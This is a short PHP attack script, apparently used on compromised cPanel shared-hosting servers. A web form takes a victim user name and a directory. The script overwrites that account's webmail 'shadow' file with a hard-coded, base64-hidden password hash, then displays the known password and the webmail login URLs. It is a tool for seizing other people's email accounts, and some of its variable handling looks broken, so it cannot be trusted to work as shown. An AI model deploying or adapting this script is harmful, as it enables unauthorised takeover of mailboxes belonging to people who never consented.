Change Password webmail

<title>Change Password webmail</title>
<center><form method='POST'>
<h4>Change Password webmail</h4><h4>
User : <input type='text' name='user' size='40' /><br />
Path : <input type='text' name='path' size='40'  /><br /><br /></h4>
<input type='submit' name='start' value='Change Password' />
</form></center>
<?php
@error_reporting();
/*
@NetDevr
*/
if($_POST['start'])
{
$user = $_POST['user'];
$path = @chdir($_POST['path']);
$pass = "lov3rdns";
$lov3r = @base64_decode('JGFwcjEkdkNJWmRBXzEkRWhzcEhSWUZ4R24wcTBiZzRVeS9VLg==');
$array = @array('$user','$lov3r');
$imp = @implode(':',$array);
$dns = @file_put_contents('shadow',$imp);
if($dns)
{
echo '<h4><center>Password is <font color="red">'.$pass.'</font> .. <br />
Email is <font color="red">'.$user.'@'.$_SERVER['SERVER_NAME'].'</font><br />
Panel is <font color="red">http://webmail.'.$_SERVER['SERVER_NAME'].'</font>
Or <font color="red">http://'.$_SERVER['SERVER_NAME'].':2096</font><br />
<font color="blue">./x3</font></h4></center>';
}else
{
  echo '<h4><center>File Not Found</h4></center>';
}

}
?>
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<center>
<b># Discovery : r0kin</b><br />
<b># Coder     : Lov3rDns</b>
</center>